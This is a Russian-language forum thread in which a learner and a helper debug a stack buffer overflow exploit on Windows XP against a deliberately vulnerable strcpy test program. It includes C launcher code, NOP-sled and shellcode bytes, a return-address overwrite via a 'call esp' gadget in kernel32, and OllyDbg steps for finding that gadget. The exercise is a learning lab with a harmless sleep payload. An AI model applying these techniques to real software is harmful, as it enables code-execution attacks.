Просмотр полной версии : Помогите разобраться с переполнением буфера
0o Chris o0
12.02.2013, 20:11
Прочитал довольно много статей. Вроде все понятно, но не выходит реализовать
Собственно, вот код:
Code:
#include
#include
#include
char shellcode[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x98\x3a\x50\x ff\xd3";
int main(int argc, char* argv[])
{
char buf[200];
char exec[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,150-strlen(shellcode));
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));
*(long *)&buf[112] = 0x0022FF60; // при 112 уязвимая программа падает, при 111 уже нет
sprintf(exec,"overflow.exe %s",buf);
system(exec);
printf("\r\n");
system("pause");
return 0;
}
overflow.exe :
[CODE]
Code:
int main(int argc, char *argv[]) {
char buf[100];
strcpy(buf, argv[1]);
cout
P.S. При удачном исполнении программа должна просто проспать 15 секунд.
0o Chris o0
14.02.2013, 17:07
RoksHD said:
Что даешь на вход buf?
Ну если ты об этом:
Code:
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,150-strlen(shellcode));
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));
То сначала просто очищаю, записываю нопы, в конец дописываю код, который должен исполниться.
0o Chris o0 said:
Ну если ты об этом:
Code:
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,150-strlen(shellcode));
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));
То сначала просто очищаю, записываю нопы, в конец дописываю код, который должен исполниться.
Нет, это понятно.
Я думаю дело в этой строчке. *(long *)&buf[112] = 0x0022FF60;
Вот так тебе нужно сделать:
Code:
#include
#include
char shellcode[] =
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\xf0\x69\x83\x7c" // call esp in Kernel32
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x31\xc0" // твой код
"\xbb\x46\x24\x80" //
"\x7c\x66\xb8\x98" //
"\x3a\x50\xff\xd3"; //
int main (int argc, char **argv) {
char buf[10];
memset (buf, 0, sizeof(buf));
strcpy(buf, shellcode);
return 0;
}
где shellcode - строка которую тебе нужно сгенерировать в твоей первой программе.
PS. Я уменьшил длину массива до 10 байт, если тебе обязательно нужно больше, то увеличивай первую секцию шеллкода (до call esp) пока регистр EIP не перетрется нашем адресом и всё.
PPS. Адрес интсрукции call ESP может у нас отличаться. У меня Windows XP SP3 En x86
0o Chris o0
15.02.2013, 20:35
А как ты call esp нашел? Я всю программу перерыл в поисках call или jmp esp, так ничего и не нашел. IDA поиском не находит.
0o Chris o0 said:
А как ты call esp нашел? Я всю программу перерыл в поисках call или jmp esp, так ничего и не нашел. IDA поиском не находит.
1. Запускаешь прогу в отладчике (я использовал OllyDbg)
2. Открываешь список подгруженных библиотек (Alt + E)
3. Ищем среди них Kernel32.dll (эта библиотека как и ntdll.dll, msvcrt.dll всегда подгружены к любой программе в Windows)
4. Кликаешь правой кнопкой на ней и выбираешь "Follow Entry" и тебя перекидывает по базовому адресу загрузки Kernel32.dll
5. Далее будем искать нужную нам команду в этой библиотеке. Наживаем Ctrl + F и вводим команду call esp
6. И о чудо мы видим её)) (в крайнем левом столбце будет адрес этой команды)
Ну как-то так!
0o Chris o0
16.02.2013, 16:53
RoksHD said:
RoksHD
Нашел, 7C809F83. В проге записываю так "\x83\x9F\x80\x7c", она просто падает. А у меня возник вопрос, ну хорошо мы вызываем call esp, а esp сейчас указывает ведь на мусор...
0o Chris o0 said:
Нашел, 7C809F83. В проге записываю так "\x83\x9F\x80\x7c", она просто падает. А у меня возник вопрос, ну хорошо мы вызываем call esp, а esp сейчас указывает ведь на мусор...
Регистр ESP указывает ВСЕГДА на вершину стека. Если у тебя правильно перетерся EIP, то ESP указывает на код, который идет после этого адреса (в моем шелкоде там идут нопы (0x90))
0o Chris o0
17.02.2013, 19:18
RoksHD said:
Регистр ESP указывает ВСЕГДА на вершину стека. Если у тебя правильно перетерся EIP, то ESP указывает на код, который идет после этого адреса (в моем шелкоде там идут нопы (0x90))
Да, надо было несколько \x35 убрать и все заработало Сейчас переделаю свой код.
Upd.
Code:
#include
#include
#include
char shellcode[] =
"\x31\xc0\xbb\x46"
"\x24\x80\x7c\x66"
"\xb8\x98\x3a\x50"
"\xff\xd3";
int main(int argc, char* argv[]) {
char buf[300];
char exec[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x41,112);
buf[112] = '\x83';
buf[113] = '\x9F';
buf[114] = '\x80';
buf[115] = '\x7c';
//memset(buf+strlen(buf), 0x90, 5);
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));
sprintf(exec,"overflow.exe %s",buf);
system(exec);
system("pause");
return 0;
}
На выходе имею:
http://s020.radikal.ru/i703/1302/bc/4c89a1d32f93.jpg
Судя по всему call esp выполняется, чтобы проверить записываем после call esp перед шеллом 5 нопов.
http://s018.radikal.ru/i524/1302/31/4cadd39abc27.jpg
Теперь в выводе видим, что эти 5 нопов появились в команде, значит call esp выполнился и нас перебросило на шеллкод. Так вот не понимаю, почему он не выполняется
http://s45.radikal.ru/i110/1302/b2/9766dabef1da.jpg
P.S. Вопрос для знатоков, можно ли в IDA, при вызове одной программы из другой, как в данном случае например, дизассемблировать вызываемую программу? То есть если exec.exe вызывает overflow.exe - IDA во время вызова overflow.exe, подключается к ней.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot